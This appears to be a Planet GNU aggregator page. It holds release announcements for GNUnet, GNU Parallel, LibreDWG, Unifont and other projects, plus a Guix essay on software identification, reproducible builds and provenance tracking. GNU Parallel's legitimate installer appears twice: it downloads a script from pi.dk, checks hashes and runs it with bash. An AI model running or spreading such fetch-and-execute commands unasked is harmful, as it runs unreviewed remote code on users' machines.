There's also a new release of the terminal application using the GNUnet Messenger service. This release will ensure compatibility with changes in libgnunetchat 0.3.0 and GNUnet 0.21.0.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
We are pleased to announce the release of libgnunetchat 0.3.0.
This is a major new release bringing compatibility with the major changes in the Messenger service from latest GNUnet release 0.21.0 adding new message kinds, adjusting message processing and key management. This release will also require your GNUnet to be at least 0.21.0 because of that.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
A detailed list of changes can be found in the ChangeLog .
We are pleased to announce the release of GNUnet 0.21.0.
GNUnet is an alternative network stack for building secure, decentralized and
privacy-preserving distributed applications.
Our goal is to replace the old insecure Internet protocol stack.
Starting from an application for secure publication of files, it has grown to
include all kinds of basic protocol components and applications towards the
creation of a GNU internet.
This release marks a noteworthy milestone in that it includes a completely new transport layer . It lays the groundwork for fixing some major design issues and may also already alleviate a variety of issues seen in previous releases related to connectivity. This change also deprecates our testbed and ATS subsystem.
This is a new major release. It breaks protocol compatibility with the 0.20.x versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.20.x GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.21.0 release is still only suitable for early adopters with some reasonable pain tolerance .
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
A detailed list of changes can be found in the git log , the NEWS and the bug tracker .
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.
This release was the work of many people. The following people contributed code and were thus easily identified: Christian Grothoff, t3sserakt, TheJackiMonster, Pedram Fardzadeh, dvn, Sebastian Nadler and Martin Schanzenbach.
What does it take to “identify software”? How can we tell what software is running on a machine to determine, for example, what security vulnerabilities might affect it?
In October 2023, the US Cybersecurity and Infrastructure Security Agency (CISA) published a white paper entitled Software Identification Ecosystem Option Analysis that looks at existing options to address these questions. The publication was followed by a request for comments; our comment as Guix developers didn’t make it on time to be published, but we’d like to share it here.
Software identification for cybersecurity purposes is a crucial topic, as the white paper explains in its introduction:
Effective vulnerability management requires software to be trackable in a way that allows correlation with other information such as known vulnerabilities […]. This correlation is only possible when different cybersecurity professionals know they are talking about the same software.
The Common Platform Enumeration (CPE) standard has been designed to fill that role; it is used to identify software as part of the well-known Common Vulnerabilities and Exposures (CVE) process. But CPE is showing its limits as an extrinsic identification mechanism: the human-readable identifiers chosen by CPE fail to capture the complexity of what “software” is.
We think functional software deployment as implemented by Nix and Guix, coupled with the source code identification work carried out by Software Heritage, provides a unique perspective on these matters.
The Software Identification Ecosystem Option Analysis white paper released by CISA in October 2023 studies options towards the definition of a software identification ecosystem that can be used across the complete, global software space for all key cybersecurity use cases.
Our experience lies in the design and development of GNU Guix, a package manager, software deployment tool, and GNU/Linux distribution, which emphasizes three key elements: reproducibility, provenance tracking, and auditability. We explain in the following sections our approach and how it relates to the goal stated in the aforementioned white paper.
Guix produces binary artifacts of varying complexity from source code: package binaries, application bundles (container images to be consumed by Docker and related tools), system installations, system bundles (container and virtual machine images).
All these artifacts qualify as “software” and so does source code. Some of this “software” comes from well-identified upstream packages, sometimes with modifications added downstream by packagers (patches); binary artifacts themselves are the byproduct of a build process where the package manager uses other binary artifacts it previously built (compilers, libraries, etc.) along with more source code (the package definition) to build them. How can one identify “software” in that sense?
Software is dual: it exists in source form and in binary, machine-executable form. The latter is the outcome of a complex computational process taking source code and intermediary binaries as input.
Our thesis can be summarized as follows:
We consider that the requirements for source code identifiers differ from the requirements to identify binary artifacts.
Our view, embodied in GNU Guix, is that:
Source code can be identified in an unambiguous and distributed fashion through inherent identifiers such as cryptographic hashes.
Binary artifacts, instead, need to be the byproduct of a comprehensive and verifiable build process itself available as source code.
In the next sections, to clarify the context of this statement, we show how Guix identifies source code, how it defines the source-to-binary path and ensures its verifiability, and how it provides provenance tracking.
Guix includes package definitions for almost 30,000 packages. Each package definition identifies its origin—its “main” source code as well as patches. The origin is content-addressed: it includes a SHA256 cryptographic hash of the code (an inherent identifier), along with a primary URL to download it.
Since source is content-addressed, the URL can be thought of as a hint. Indeed, we connected Guix to the Software Heritage source code archive: when source code vanishes from its original URL, Guix falls back to downloading it from the archive. This is made possible thanks to the use of inherent (or intrinsic) identifiers both by Guix and Software Heritage.
More information can be found in this 2019 blog post and in the documents of the Software Hash Identifiers (SWHID) working group.
Guix provides a verifiable path from source code to binaries by ensuring reproducible builds. To achieve that, Guix builds upon the pioneering research work of Eelco Dolstra that led to the design of the Nix package manager, with which it shares the same conceptual foundation.
Namely, Guix relies on hermetic builds: builds are performed in isolated environments that contain nothing but explicitly-declared dependencies—where a “dependency” can be the output of another build process or source code, including build scripts and patches.
An implication is that builds can be verified independently. For
instance, for a given version of Guix, guix build gcc
should produce the exact same binary, bit-for-bit. To facilitate
independent verification, guix challenge gcc
compares the
binary artifacts of the GNU Compiler Collection (GCC) as built and
published by different parties. Users can also compare to a local build
with guix build gcc --check
.
As with Nix, build processes are identified by derivations, which are
low-level, content-addressed build instructions; derivations may refer
to other derivations and to source code. For instance,
/gnu/store/c9fqrmabz5nrm2arqqg4ha8jzmv0kc2f-gcc-11.3.0.drv
uniquely identifies the derivation to build a specific variant of
version 11.3.0 of the GNU Compiler Collection (GCC). Changing the
package definition—patches being applied, build flags, set of
dependencies—, or similarly changing one of the packages it depends
on, leads to a different derivation (more information can be found in
Eelco Dolstra's PhD
thesis).
Derivations form a graph that captures the entirety of the build
processes leading to a binary artifact. In contrast, mere package
name/version pairs such as gcc 11.3.0
fail to capture the
breadth and depth elements that lead to a binary artifact. This is a
shortcoming of systems such as the Common Platform Enumeration (CPE)
standard: it fails to express whether a vulnerability that applies to
gcc 11.3.0
applies to it regardless of how it was built,
patched, and configured, or whether certain conditions are required.
Reproducible builds alone cannot ensure the source-to-binary correspondence: the compiler could contain a backdoor, as demonstrated by Ken Thompson in Reflections on Trusting Trust. To address that, Guix goes further by implementing so-called full-source bootstrap: for the first time, literally every package in the distribution is built from source code, starting from a very small binary seed. This gives an unprecedented level of transparency, allowing code to be audited at all levels, and improving robustness against the “trusting-trust attack” described by Ken Thompson.
The European Union recognized the importance of this work through an NLnet Privacy & Trust Enhancing Technologies (NGI0 PET) grant allocated in 2021 to Jan Nieuwenhuizen to further work on full-source bootstrap in GNU Guix, GNU Mes, and related projects, followed by another grant in 2022 to expand support to the Arm and RISC-V CPU architectures.
We define provenance tracking as the ability to map a binary artifact back to its complete corresponding source. Provenance tracking is necessary to allow the recipient of a binary artifact to access the corresponding source code and to verify the source/binary correspondence if they wish to do so.
The
guix pack
command can be used to build, for instance, containers images. Running
guix pack -f docker python --save-provenance
produces a
self-describing Docker image containing the binaries of Python and its
run-time dependencies. The image is self-describing because
--save-provenance
flag leads to the inclusion of a
manifest that describes which revision of Guix was used to produce
this binary. A third party can retrieve this revision of Guix and from
there view the entire build dependency graph of Python, view its source
code and any patches that were applied, and recursively for its
dependencies.
To summarize, capturing the revision of Guix that was used is all it
takes to reproduce a specific binary artifact. This is illustrated by
the time-machine
command.
The example below deploys, at any time on any machine, the specific
build artifact of the python
package as it was defined in this Guix
commit:
guix time-machine -q --commit=d3c3922a8f5d50855165941e19a204d32469006f \
-- install python
In other words, because Guix itself defines how artifacts are built, the revision of the Guix source coupled with the package name unambiguously identify the package’s binary artifact. As scientists, we build on this property to achieve reproducible research workflows, as explained in this 2022 article in Nature Scientific Data; as engineers, we value this property to analyze the systems we are running and determine which known vulnerabilities and bugs apply.
Again, a software bill of materials (SBOM) written as a mere list of package name/version pairs would fail to capture as much information. The Artifact Dependency Graph (ADG) of OmniBOR, while less ambiguous, falls short in two ways: it is too fine-grained for typical cybersecurity applications (at the level of individual source files), and it only captures the alleged source/binary correspondence of individual files but not the process to go from source to binary.
Inherent identifiers lend themselves well to unambiguous source code identification, as demonstrated by Software Heritage, Guix, and Nix.
However, we believe binary artifacts should instead be treated as the result of a computational process; it is that process that needs to be fully captured to support independent verification of the source/binary correspondence. For cybersecurity purposes, recipients of a binary artifact must be able to be map it back to its source code (provenance tracking), with the additional guarantee that they must be able to reproduce the entire build process to verify the source/binary correspondence (reproducible builds and full-source bootstrap). As long as binary artifacts result from a reproducible build process, itself described as source code, identifying binary artifacts boils down to identifying the source code of their build process.
These ideas are developed in the 2022 scientific paper Building a Secure Software Supply Chain with GNU Guix
04 March, 2024 03:00PM by Ludovic Courtès, Maxim Cournoyer, Jan Nieuwenhuizen, Simon Tournier
https://www.fsf.org/blogs/community/exciting-talks-hands-on-workshops-and-thrilling-discussions-await-you-at-libreplanet-2024
Examples for sessions on cultivating community we are looking forward to are:
"Fostering and renewing community in a long-lived free software project" by T. Kim Nguyen;
"Empowering youth in the digital age: A path to success" by Leonardo Champion;
"Connecting community organizations and technological activists for software freedom" by Christina Haralanova;
"Hosting freedom - A behind-the-scenes tour with the Savannah Hackers" by Corwin Brust; or
"It is easy to contribute to GNU" by Wensheng Xie.
I will be talking there. If you have anything to say, please let me know.
Please
https://my.fsf.org/civicrm/event/info?reset=1&id=125
or
https://my.fsf.org/civicrm/event/info?reset=1&id=126
Happy Hacking
wxie
28 February, 2024 02:56PM by Wensheng XIE
GNU Parallel 20240222 ('Навальный') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
Stop paralyzing start parallelizing
-- @harshgandhi100@YouTube
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu.org/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep 883c667e01eed62f975ad28b6d50e22a
12345678 883c667e 01eed62f 975ad28b 6d50e22a
$ md5sum install.sh | grep cc21b4c943fd03e93ae1ae49e28573c0
cc21b4c9 43fd03e9 3ae1ae49 e28573c0
$ sha512sum install.sh | grep ec113b49a54e705f86d51e784ebced224fdff3f52
79945d9d 250b42a4 2067bb00 99da012e c113b49a 54e705f8 6d51e784 ebced224
fdff3f52 ca588d64 e75f6033 61bd543f d631f592 2f87ceb2 ab034149 6df84a35
$ bash install.sh
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
28 February, 2024 12:17AM by Ole Tange
A minor bugfix release, mostly fixes missing dwg2ps.1
See https://www.gnu.org/software/libredwg/ and https://git.savannah.gnu.org/cgit/libredwg.git/tree/NEWS?h=0.13.3
Here are the compressed sources:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.gz (20.1MB)
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.xz (10.1MB)
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13.3
Here are the SHA256 checksums:
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.3.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
gpg --recv-keys B4F63339E65D6414
and rerun the gpg --verify command.
26 February, 2024 09:46AM by Reini Urban
24 February 2024 Unifont 15.1.05 is now available. This release adds the 222 CJK Unified Ideographs Extension D glyphs (U+2B740..U+2B81D) and 335 Plane 2 and Plane 3 common Cantonese ideographs, as well as other additions amounting to almost 600 ideograph additions, from Boris Zhang, Yzy32767, and others.
This release also replaces the Hangul blocks outside the Hangul Syllables range with new glyphs from Ho-seok Ee that are now consistent with the style of the Hangul Syllables glyphs.
Other minor changes are also included. Details are in the ChangeLog file.
This release no longer builds TrueType fonts by default, as announced over the past year. They have been replaced with their OpenType equivalents. TrueType fonts can still be built manually by typing "make truetype" in the font directory.
Download this release from GNU server mirrors at:
https://ftpmirror.gnu.org/unifont/unifont-15.1.05/
or if that fails,
https://ftp.gnu.org/gnu/unifont/unifont-15.1.05/
or, as a last resort,
ftp://ftp.gnu.org/gnu/unifont/unifont-15.1.05/
These files are also available on the unifoundry.com website:
https://unifoundry.com/pub/unifont/unifont-15.1.05/
Font files are in the subdirectory
https://unifoundry.com/pub/unifont/unifont-15.1.05/font-builds/
A more detailed description of font changes is available at
https://unifoundry.com/unifont/index.html
and of utility program changes at
https://unifoundry.com/unifont/unifont-utilities.html
Information about Hangul modifications is at
https://unifoundry.com/hangul/index.html
and
http://unifoundry.com/hangul/hangul-generation.html
25 February, 2024 01:56AM by Paul Hardy
Download from https://ftp.gnu.org/gnu/libunistring/libunistring-1.2.tar.gz
This is a stable release.
New in this release:
24 February, 2024 04:38PM by Bruno Haible
Download from https://ftp.gnu.org/pub/gnu/gettext/gettext-0.22.5.tar.gz
This is a bug-fix release.
New in this release:
22 February, 2024 01:38AM by Bruno Haible
A minor bugfix release, fixes error: cannot find input file: `test/xmlsuite/Makefile.in'
See https://www.gnu.org/software/libredwg/ and https://git.savannah.gnu.org/cgit/libredwg.git/tree/NEWS?h=0.13.2
Here are the compressed sources:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.gz (20.1MB)
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.xz (10.1MB)
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.2.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13.2
Here are the SHA256 checksums:
7c517bc58267fb97ae063568969b16b248b74cb0bfe4a8232eec4f751d9468ff libredwg-0.13.2.tar.gz
9ab76010a6536ebf86df50f4973cb6cb2fc8aa2677084b8d22ac8320052d9329 libredwg-0.13.2.tar.xz
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.2.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
gpg --recv-keys B4F63339E65D6414
and rerun the gpg --verify command.
10 February, 2024 06:13PM by Reini Urban
Guix contributors and users got together in Brussels to explore Guix's status, chat about new ideas and spend some time together enjoying Belgian beer! Here's a recap of what was discussed.
The first day kicked off with an update on the project's health, given by Efraim Flashner representing the project's Maintainer collective. Efraim relayed that the project is doing well, with lots of exciting new features coming into the archive and new users taking part. It was really cool listening to all the new capabilities - thank-you to all our volunteer contributors who are making Guix better! Efraim noted that the introduction of Teams has improved collaboration - equally, that there's plenty of areas we can improve. For example, concern remains over the "bus factor" in key areas like infrastructure. There's also a desire to release more often as this provides an updated installer and lets us talk about new capabilities.
Christopher Baines gave a general talk about the QA infrastructure and the ongoing work to develop automated builds. Chris showed a diagram of the way the services interact which shows how complex it is. Increasing automation is very valuable for users and contributors, as it removes tedious and unpleasant drudgery!
Then, Julien Lepiller, representing the Guix Foundation, told us about the work it does. Julien also brought some great stickers! The Guix Foundation is a non-profit association that can receive donations, host activities and support the Guix project. Did you know that it's simple and easy to join? Anyone can do so by simply filling in the form and paying the 10 Euro membership fee. Contact the Guix Foundation if you'd like to know more.
The rest of the day was taken up with small groups discussing topics:
Goblins, Hoot and Guix: Christine Lemmer-Webber gave an introduction to the Spritely Institute's mission to create decentralized networks and community infrastructure that respects user freedom and security. There was a lot of interesting discussion about how the network capabilities could be used in Guix, for example enabling distributed build infrastructure.
Infrastructure: There was a working session on how the projects infrastructure works and can be improved. Christopher Baines has been putting lots of effort into the QA and build infrastructure.
Guix Home: Gábor Boskovits coordinated a session on Guix Home. It was exciting to think about how Guix Home introduces the "Guix way" in a completely different way from packages. This could introduce a whole new audience to the project. There was interest in improving the overall experience so it can be used with other distributions (e.g. Fedora, Arch Linux, Debian and Ubuntu).
Release management: Julien Lepiller led us through a discussion of release management, explaining the ways that all the parts fit together. The most important part that has to be done is testing the installation image which is a manual process.
The second day's sessions:
Funding: A big group discussed funding for the project. Funding is important because it determines many aspects of what the group can achieve. Guix is a global project so there are pools of money in the United States and Europe (France). Andreas Enge and Julien Lepiller represented the group that handle finance, giving answers on the practical elements. Listening to their description of this difficult and involved work, I was struck how grateful we all are that they're willing to do it!
Governance: Guix is a living project that continues to grow and evolve. The governance discussion concerned how the project continues to chart a clear direction, make good decisions and bring both current and new users on the journey. There was reflection on the need for accountability and quick decision making, without onerous bureaurcacy, while also acknowledging that everyone is a volunteer. There was a lot of interest in how groups can join together, perhaps using approaches like Sociocracy.
Simon Tournier has been working on an RFC process, which the project will use to discuss major changes and make decisions. Further discussion is taking place on the development mailing-list if you'd like to take part.
Alternative Architectures: The Guix team continues to work on alternative architectures. Efraim had his 32-bit PowerPC (Powerbook G4) with him, and there's continued work on PowerPC64, ARM64 and RISC-V 64. The big goal is a complete source bootscrap across all architectures.
Hurd: Janneke Nieuwenhuizen led a discussion around GNU Hurd, which is a microkernel-based architecture. Activity has increased in the last couple of years, and there's support for SMP and 64-bit (x86) is work in progress. There's lots of ideas and excitement about getting Guix to work on Hurd.
Guix CLI improvements: Jonathan coordinated a discussion about the state of the Guix CLI. A consistent, self-explaining and intuitive experience is important for our users. There are 39 top-level commands, that cover all the functionality from package management through to environment and system creation! Various improvements were discussed, such as making extensions available and improving documentation about the REPL work-flow.
Guix Days 2024 took place just before FOSDEM 2024. FOSDEM was a fantastic two days of interesting talks and conversations. If you'd like to watch the GUIX-related talks the videos are being put online:
Making reproducible and publishable large-scale HPC experiments by Philippe Swartvagher.
Scheme in the Browser with Guile Hoot and WebAssembly by Robin Templeton.
RISC-V Bootstrapping in Guix and Live-Bootstrap by Ekaitz Zarraga.
Self-hosting and autonomy using guix-forge by Arun Isaac.
Spritely, Guile, Guix: a unified vision for user security by Christine Lemmer-Webber.
Supporting architecture psABIs with GNU Guix by Efraim Flashner.
There's lots happening in Guix and many ways to get involved. We're a small and friendly project that values user freedom and a welcoming community. If this recap has inspired your interest, take a look at the raw notes and join us!
10 February, 2024 06:00PM by Steve George
A minor bugfix release, but broken.
error: cannot find input file: `test/xmlsuite/Makefile.in'
You can safely patch the test/xmlsuite error away.
See https://www.gnu.org/software/libredwg/ and https://git.savannah.gnu.org/cgit/libredwg.git/tree/NEWS?h=0.13.1
Here are the compressed sources:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.gz (17.4MB)
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.xz (9MB)
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.1.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13.1
Here are the SHA256 checksums:
4f0a8920a0d500c5df02ea4cddad0665397642ed39852bc401580a253ac5b911 libredwg-0.13.1.tar.gz
33bca643ec730143d252f6ddd2bb1d69062416f3a94b05b9e90eb8ccdbe149a4 libredwg-0.13.1.tar.xz
34fa0603fc8a0c4d9550096420a807457a3be34f99042568f2264f426e922f9c libredwg-0.13.1-win32.zip
89d67be07fd08a88adfe1870587ffa3fe8a121eebb915c92d01b7ab95bc4e572 libredwg-0.13.1-win64.zip
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.1.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
gpg --recv-keys B4F63339E65D6414
and rerun the gpg --verify command.
10 February, 2024 08:42AM by Reini Urban
GNU lightning is a library to aid in making portable programs
that compile assembly code at run time.
Development:
http://git.savannah.gnu.org/cgit/lightning.git
Download release:
ftp://ftp.gnu.org/gnu/lightning/lightning-2.2.3.tar.gz
GNU Lightning 2.2.3 main new features:
08 February, 2024 06:51PM by Paulo César Pereira de Andrade
Can now also read and write all DWG formats pre-R13.
See https://www.gnu.org/software/libredwg/ and https://github.com/LibreDWG/libredwg/blob/0.13/NEWS
Now we'll finish work on encode support for r2004+.
Here are the compressed but broken sources:
error: cannot find input file: `test/xmlsuite/Makefile.in'
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.tar.gz (17.4MB)
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.tar.xz (9MB)
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
You can safely patch the test/xmlsuite error away.
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13
Here are the SHA256 checksums:
9682b0c5e6d91720666118059c67bf614e407a49b1a3c13312fe6a6c8f41d9cf libredwg-0.13.tar.gz
dd906f59d71b26c13fd2420f50fc50bea666fd54acc764d8c344f7f89d5ab94e libredwg-0.13.tar.xz
cc5df6456cdc7d0c9ebcd2eb798b81a80aab6b3a8f5417d4598262f3d2120886 libredwg-0.13-win32.zip
34774d2cd1c87f00a1d647f6c172ff92d02bab4ebe586badd883772fb746218b libredwg-0.13-win64.zip
[*] Use a .sig file to verify that the coresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
gpg --recv-keys B4F63339E65D6414
and rerun the gpg --verify command.
04 February, 2024 09:53AM by Reini Urban
The 22st release of GNU Astronomy Utilities (Gnuastro) is now available. See the full announcement for all the new features in this release and the many bugs that have been found and fixed: https://lists.gnu.org/archive/html/info-gnuastro/2024-02/msg00000.html
03 February, 2024 11:19PM by Mohammad Akhlaghi
FreeIPMI 1.6.12 - 11/19/23
--------------------------
o Use poll() over select() to avoid fd limit in openipmi driver.
o Fix potential portability problems on systems without cbrt().
o Minor documentation updates.
FreeIPMI 1.6.13 - 01/26/24
--------------------------
o Fix build issues on systems where inb/outb are declared with
inline assembly.
o Add additional sensor/event interpretations.
27 January, 2024 12:59AM by Albert Chu
GNU Parallel 20240122 ('Frederik X') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU Parallel alone provides more value than moreutils
-- Ferret7446@news.ycombinator.com
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu.org/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep 883c667e01eed62f975ad28b6d50e22a
12345678 883c667e 01eed62f 975ad28b 6d50e22a
$ md5sum install.sh | grep cc21b4c943fd03e93ae1ae49e28573c0
cc21b4c9 43fd03e9 3ae1ae49 e28573c0
$ sha512sum install.sh | grep ec113b49a54e705f86d51e784ebced224fdff3f52
79945d9d 250b42a4 2067bb00 99da012e c113b49a 54e705f8 6d51e784 ebced224
fdff3f52 ca588d64 e75f6033 61bd543f d631f592 2f87ceb2 ab034149 6df84a35
$ bash install.sh
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
24 January, 2024 03:19AM by Ole Tange
gprofng GUI is a full-fledged graphical interface for the gprofng profiler, which is part of the GNU binutils.
The tarball gprofng-gui-1.1.tar.gz is now available at https://ftp.gnu.org/gnu/gprofng-gui/gprofng-gui-1.1.tar.gz.
--
Vladimir Mezentsev
Jose E. Marchesi
22 January 2024
22 January, 2024 06:08PM by Jose E. Marchesi
It's not long to FOSDEM 2024, where Guixers will come together to learn and hack. As usual there's some great talks and opportunities to meet other users and contributors.
FOSDEM is Europe's biggest Free Software conference. It's aimed at developers and anyone who's interested in the Free Software movement. While it's an in-person conference there are live video streams and lots of ways to participate remotely.
The schedule is varied with development rooms covering many interests. Here are some of the talks that are of particular interest to Guixers:
The Declarative and Minimalistic Computing track takes place Sunday morning. Important topics are:
Guix-related talks are:
This year the track commemorates Joe Armstrong, who was the principal inventor of Erlang. His focus on concurrency, distribution and fault-tolerence are key topics in declarative and minimalistic computing. This article is a great introduction to his legacy. Along with "The Mess We're In", a classic where he discusses why software is getting worse with time, and what can be done about it.
On Sunday afternoon, the Distributions devroom has another Guix talk:
Guix Days will be taking place on the Thursday and Friday before FOSDEM. This is an "unconference-style" event, where the community gets together to focus on Guix's development. All the details are on the Libreplanet Guix Wiki.
Come and join in the fun, whether you're a new Guix user or seasoned hacker! If you're not in Brussels you can still take part:
GNU Guix is a transactional package manager and an advanced distribution of the GNU system that respects user freedom. Guix can be used on top of any system running the Hurd or the Linux kernel, or it can be used as a standalone operating system distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supports transactional upgrades and roll-backs, unprivileged package management, per-user profiles, and garbage collection. When used as a standalone GNU/Linux distribution, Guix offers a declarative, stateless approach to operating system configuration management. Guix is highly customizable and hackable through Guile programming interfaces and extensions to the Scheme language.
19 January, 2024 03:00PM by Steve George
